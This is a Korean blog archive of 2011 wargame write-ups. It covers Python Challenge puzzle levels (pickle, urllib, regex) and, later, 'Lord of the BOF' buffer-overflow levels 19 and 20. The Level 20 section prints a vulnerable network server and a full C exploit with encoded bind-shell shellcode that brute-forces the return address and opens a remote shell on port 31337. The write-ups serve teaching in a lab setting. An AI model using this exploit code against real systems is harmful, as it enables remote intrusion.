'U&L Developer˚ε♡з。'에 해당되는 글 233건
- 2011.06.22 [Python challenge Level5] - peak (pickle) 1
- 2011.06.21 [Python challenge Level4] – linkedlist (urllib)
- 2011.06.21 [Python challenge Level3] – equality (Regular Expression)
- 2011.06.21 [Python challenge Level2] - ocr (특문 속에 알파벳)
- 2011.06.20 [Python challenge Level1] – map (문자 대체)
- 2011.06.20 [Python challenge Level0] - PythonChallenge란?
- 2011.06.18 [LEVEL20] xavis -> death_knight (remote BOF)
- 2011.06.15 [LEVEL19] nightmare -> xavis (fgets + destroyers)
[ Problem ] - http://www.pythonchallenge.com/pc/def/peak.html
♧ "pronounce it" 발음해라? 일단 소스를 보자!
알수 없는<peakhell> 태그에 "banner.p" 이 보인다. 일단 다운받자! (※ "peakhell" 발음을 몇 번 큰소리로 말하면 "pickle" 모듈의 발음 소리와 비슷하다.) ♧ "banner.p"를 노트패드로 열어 보면 알 수 없는 문자들이 보인다. (피클링된 객체)
이 알 수 없는 문자들을 pickle 모듈을 이용해서 unpickle 해야 한다. ( ※ 참조 : "파이썬 영속성 관리", "http://docs.python.org/library/pickle.html") ♧ unpickle하면 리스트와 튜플안에 문자와 숫자가 보이는데 이것을 문자*숫자로 풀어보면 "channel"이란 단어가 보인다.
|
[ Solution ] - http://www.pythonchallenge.com/pcc/def/channel.html
(※ 문제에 대한 다양한 해결법은 링크 참조.)
'워게임(WarGame) > PythonChallenge' 카테고리의 다른 글
[Python challenge Level7] - oxygen (PIL로 pixel값 처리) (0) | 2011.06.22 |
---|---|
[Python challenge Level6] - channel (zipfile) (0) | 2011.06.22 |
[Python challenge Level4] – linkedlist (urllib) (0) | 2011.06.21 |
[Python challenge Level3] – equality (Regular Expression) (0) | 2011.06.21 |
[Python challenge Level2] - ocr (특문 속에 알파벳) (0) | 2011.06.21 |
[ problem ] - http://www.pythonchallenge.com/pc/def/linkedlist.php
♧ 소스 보기를 하면 다음과 같은 힌트가 보인다. ♧ 화면에 있는 그림을 클릭하면 화면에 get 메소드로 nothing 이라는 값에 '12345'를 넘겨주며 다음 nothing 번호를 알려준다.
이처럼 페이지에 나온 다음 nothing 값을 파싱하여 그림과 같이 nothing값에 대입하여 계속 하여 쿼리를 날려준다. ♧ 도중에 "Yes. Divide by two and keep going." 메시지가 보이면 nothing값을 2로 나눠 계속 쿼리를 날리면 마지막엔 "peak.html" 메시지 보인다. (※ 힌트 내용 처럼 urllib 모듈을 사용하길 권장하며, 직접 친다면 손이 피곤해질 것이다.) |
[ Solution ] - http://www.pythonchallenge.com/pcc/def/peak.html
(※ 문제에 대한 다양한 해결법은 링크 참조.)
'워게임(WarGame) > PythonChallenge' 카테고리의 다른 글
[Python challenge Level6] - channel (zipfile) (0) | 2011.06.22 |
---|---|
[Python challenge Level5] - peak (pickle) (1) | 2011.06.22 |
[Python challenge Level3] – equality (Regular Expression) (0) | 2011.06.21 |
[Python challenge Level2] - ocr (특문 속에 알파벳) (0) | 2011.06.21 |
[Python challenge Level1] – map (문자 대체) (0) | 2011.06.20 |
[ problem ] - http://www.pythonchallenge.com/pc/def/equality.html
♧ 문제의 그림을 보면 3개의 큰 양초와 가운데 작은 양초가 보인다. ♧ 역시 소스페이지를 보면 많은 문자열이 주석처리 되어 있다.
("VVVxVVV" 이처럼 대문자3개와 가운대 소문자 하나가 정확히 매칭 되는 것을 찾아야 한다.)
|
[ Solution ] - http://www.pythonchallenge.com/pcc/def/linkedlist.php
(※ 문제에 대한 다양한 해결법은 링크 참조.)
'워게임(WarGame) > PythonChallenge' 카테고리의 다른 글
[Python challenge Level5] - peak (pickle) (1) | 2011.06.22 |
---|---|
[Python challenge Level4] – linkedlist (urllib) (0) | 2011.06.21 |
[Python challenge Level2] - ocr (특문 속에 알파벳) (0) | 2011.06.21 |
[Python challenge Level1] – map (문자 대체) (0) | 2011.06.20 |
[Python challenge Level0] - PythonChallenge란? (0) | 2011.06.20 |
[ problem ] - http://www.pythonchallenge.com/pc/def/ocr.html
♧ 힌트를 보면 소스 페이지라는 단어가 눈에 띤다.
일단 소스 페이지를 보면 아래와 같은 희귀문자 들이 엉망으로 섞여 있는 것을 볼 수 있다.
이 속에서 알파벳을 찾는 문제이다.
(※ re — Regular expression operations 참조)
[ Solution ] - http://www.pythonchallenge.com/pcc/def/equality.html
(※ 문제에 대한 다양한 해결법은 링크 참조.)
'워게임(WarGame) > PythonChallenge' 카테고리의 다른 글
[Python challenge Level5] - peak (pickle) (1) | 2011.06.22 |
---|---|
[Python challenge Level4] – linkedlist (urllib) (0) | 2011.06.21 |
[Python challenge Level3] – equality (Regular Expression) (0) | 2011.06.21 |
[Python challenge Level1] – map (문자 대체) (0) | 2011.06.20 |
[Python challenge Level0] - PythonChallenge란? (0) | 2011.06.20 |
[ problem ] - http://www.pythonchallenge.com/pc/def/map.html
♧ 그림과 같이 K->M, O->Q, E->G의 규칙성은 해당 문자가 2만큼 떨어져 있다.
그림의 보라색 글자가 무슨 암호화 같이 보이지만 해당 글자를 2씩 증가하면
아래와 같이 string.maketrans() 권장한다는 친절한 멘트와 힌트가 보인다. (단, y->a)
"i hope you didnt translate it by hand. thats what computers are for. |
♧ 현재 url의 "map.html"을 규칙성을 적용해 보면 "orc.jvon"이 된다.
(http://www.pythonchallenge.com/pc/def/ocr.jvon)
[ Solution ] - http://www.pythonchallenge.com/pcc/def/ocr.html
(※ 문제에 대한 다양한 해결법은 링크 참조.)
'워게임(WarGame) > PythonChallenge' 카테고리의 다른 글
[Python challenge Level5] - peak (pickle) (1) | 2011.06.22 |
---|---|
[Python challenge Level4] – linkedlist (urllib) (0) | 2011.06.21 |
[Python challenge Level3] – equality (Regular Expression) (0) | 2011.06.21 |
[Python challenge Level2] - ocr (특문 속에 알파벳) (0) | 2011.06.21 |
[Python challenge Level0] - PythonChallenge란? (0) | 2011.06.20 |
http://www.pythonchallenge.com/index.php
♧ Python 프로그래밍을 여러 수수께끼 문제를 통해 쉽고 재미있게 배울 수 있는 사이트.
♧ 사이트 접속후 아래 "Click here to get challenged"를 클릭하면 도전 시작.
♧ 도전을 시작 하면 아래와 같은 문제 화면이 보인다. |
※ 2의 38승을 구하는 문제이다.
URL 주소란에 그림과 같이 문제의 답을 적으면 다음 레벨로 넘어가게 된다.
[ 문제에 대한 다양한 해결책 보기 ]
위와 같이 URL을 pc->pcc로 고치면 다음 그림과 같이 문제에 대한 여러 해결법을 볼 수 있다. |
[ Solution ] - http://pythonchallenge.com/pcc/def/map.html
'워게임(WarGame) > PythonChallenge' 카테고리의 다른 글
[Python challenge Level5] - peak (pickle) (1) | 2011.06.22 |
---|---|
[Python challenge Level4] – linkedlist (urllib) (0) | 2011.06.21 |
[Python challenge Level3] – equality (Regular Expression) (0) | 2011.06.21 |
[Python challenge Level2] - ocr (특문 속에 알파벳) (0) | 2011.06.21 |
[Python challenge Level1] – map (문자 대체) (0) | 2011.06.20 |
[view source] |
/* The Lord of the BOF : The Fellowship of the BOF - dark knight - remote BOF */ #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/wait.h> #include <dumpcode.h>
main() { char buffer[40];
int server_fd, client_fd; struct sockaddr_in server_addr; struct sockaddr_in client_addr; int sin_size;
if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){ perror("socket"); exit(1); }
server_addr.sin_family = AF_INET; server_addr.sin_port = htons(6666); server_addr.sin_addr.s_addr = INADDR_ANY; bzero(&(server_addr.sin_zero), 8);
if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){ perror("bind"); exit(1); }
if(listen(server_fd, 10) == -1){ perror("listen"); exit(1); }
while(1) { sin_size = sizeof(struct sockaddr_in); if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){ perror("accept"); continue; }
if (!fork()){ send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0); send(client_fd, "You : ", 6, 0); recv(client_fd, buffer, 256, 0); close(client_fd); break; }
close(client_fd); while(waitpid(-1,NULL,WNOHANG) > 0); } close(server_fd); } |
♧ Remote BOF 문제이다. 단순 brute force 공격으로 문제를 해결 합니다. |
[ 익스플로잇 작성 ]
[dumpcode.h] |
/****************************** * RAW 메모리를 16진수로 덤프 *******************************/ void dump(const unsigned char *data_buffer, const unsigned int length) { unsigned char byte; unsigned int i, j;
for(i=0; i < length; i++) { byte = data_buffer[i]; if (i%16 == 0) printf("%08x: ", (unsigned int)&data_buffer[i]); printf("%02x ", byte); // display byte in hex
if(((i%16)==15) || (i==length-1)) { for(j=0; j < 15-(i%16); j++) printf(" "); printf(" | "); for(j=(i-(i%16)); j <= i; j++) { // display printable bytes from line byte = data_buffer[j]; if((byte > 31) && (byte < 127)) // outside printable char range printf("%c", byte); else printf("."); } printf("\n"); // end of the dump line (each line 16 bytes) } // end if } // end for } |
[exploit.c] |
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <arpa/inet.h> #include "dumpcode.h"
#define SA struct sockaddr #define BUFSIZE 256 #define OFFSET 44 char bindport[] = "\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01" "\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5" "\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8" "\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f" "\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16" "\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b" "\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5" "\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e" "\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5"; #define BINDPORT 31337
int main (int argc, char *argv[]) { int sockfd; struct sockaddr_in target_addr; unsigned char buffer[BUFSIZE]; unsigned int retaddr = 0xbffffff0; char cmd[100];
if (argc != 3) { fprintf(stderr, "Usage: %s <Target Address> <Port>\n", argv[0]); return -1; }
sprintf(cmd, "%s %s %d", "telnet", argv[1], BINDPORT);
while (1) {
if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) { perror ("socket error"); return -1; } memset(&target_addr, 0, sizeof(target_addr)); target_addr.sin_family = AF_INET; target_addr.sin_port = htons(atoi(argv[2])); target_addr.sin_addr.s_addr = inet_addr(argv[1]);
if (connect (sockfd, (SA*)&target_addr, sizeof(target_addr)) == -1) { perror ("connect error"); close(sockfd); continue; } retaddr -= 10; memset(buffer, '\x90', sizeof(buffer)); memcpy(buffer+OFFSET, &retaddr, 4); memcpy(buffer+100, bindport, strlen(bindport)); puts("_____ Exploit Buffer:"); dump(buffer, strlen(buffer)); send(sockfd, buffer, strlen(buffer), 0); system(cmd); close(sockfd); }
return 0; } |
[ 결과 화면 ] |
[xavius@localhost xavius]$ gcc -W -Wall exploit.c -o exploit [xavius@localhost xavius]$ ./exploit 192.168.0.100 6666
성공!!! |
'워게임(WarGame) > BOF원정대(LOF)' 카테고리의 다른 글
[LEVEL19] nightmare -> xavis (fgets + destroyers) (0) | 2011.06.15 |
---|---|
[LEVEL18] succubus -> nightmare (plt) (0) | 2011.06.15 |
[LEVEL17] zombie_assassin -> succubus (function calls) (0) | 2011.06.12 |
[LEVEL16] assassin -> zombie_assassin (fake ebp) (0) | 2011.06.11 |
[LEVEL15] giant -> assassin (no stack, no RTL) (0) | 2011.06.10 |
[view source] |
/* The Lord of the BOF : The Fellowship of the BOF - xavius - arg */ #include <stdio.h> #include <stdlib.h> #include <dumpcode.h>
main() { char buffer[40]; char *ret_addr;
// overflow! fgets(buffer, 256, stdin); printf("%s\n", buffer);
if(*(buffer+47) == '\xbf') { printf("stack retbayed you!\n"); exit(0); }
if(*(buffer+47) == '\x08') { printf("binary image retbayed you, too!!\n"); exit(0); }
// check if the ret_addr is library function or not memcpy(&ret_addr, buffer+44, 4); while(memcmp(ret_addr, "\x90\x90", 2) != 0) // end point of function { if(*ret_addr == '\xc9'){ // leave if(*(ret_addr+1) == '\xc3'){ // ret printf("You cannot use library function!\n"); exit(0); } } ret_addr++; }
// stack destroyer memset(buffer, 0, 44); memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
// LD_* eraser // 40 : extra space for memset function memset(buffer-3000, 0, 3000-40); } |
♧ 사용 할 수 있는 공간이 별루 없다. |
[ summary ] | ||||
① strace ./사본으로 내용을 보면 fgets()는 내부 시스템콜 read()를 호출하는데
② gdb로 fgets를 호출 후 바로 확인해 보면 입력한 "DDDD~"가 0x40015000부터 들어가는 것을 볼 수 있다.
|
[ Attack ] | ||
※(0x40015000은 마지막 "00"이 널로 취급 때문에 NOP썰매가 있는 곳으로 수정)
성공!!! |
nightmare : "beg for me"
'워게임(WarGame) > BOF원정대(LOF)' 카테고리의 다른 글
[LEVEL20] xavis -> death_knight (remote BOF) (0) | 2011.06.18 |
---|---|
[LEVEL18] succubus -> nightmare (plt) (0) | 2011.06.15 |
[LEVEL17] zombie_assassin -> succubus (function calls) (0) | 2011.06.12 |
[LEVEL16] assassin -> zombie_assassin (fake ebp) (0) | 2011.06.11 |
[LEVEL15] giant -> assassin (no stack, no RTL) (0) | 2011.06.10 |